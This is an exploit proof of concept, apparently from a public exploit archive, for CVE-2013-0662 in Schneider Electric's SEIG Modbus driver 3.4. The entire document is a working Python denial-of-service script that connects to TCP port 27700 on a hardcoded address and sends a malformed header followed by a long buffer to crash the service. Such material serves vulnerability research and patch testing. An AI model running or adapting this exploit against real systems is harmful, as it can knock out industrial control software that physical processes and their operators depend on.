# Title: SEIG Modbus 3.4 - Denial of Service (PoC) # Author: Alejandro Parodi # Date: 2018-08-17 # Vendor Homepage: https://www.schneider-electric.com # Software Link: https://github.com/hdbreaker/Ricnar-Exploit-Solutions/tree/master/Medium/CVE-2013-0662-SEIG-Modbus-Driver-v3.34/VERSION%203.4 # Version: v3.4 # Tested on: Windows7 x86 # CVE: CVE-2013-0662 # References: # https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0662 import socket import struct import time ip = "192.168.127.137" port = 27700 con = (ip, port) header_padding = "\x00\xAA" header_buffer_size = "\xFF\xFF" header_recv_len = "\x08\xDD" #(header_buffer_size + 1 en el ultimo byte por que se le resta uno) header_end = "\xFF" header = header_padding + header_buffer_size + header_recv_len + header_end message = "\x00\x64" + "A" * 2267 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(con) s.send(header) s.send(message)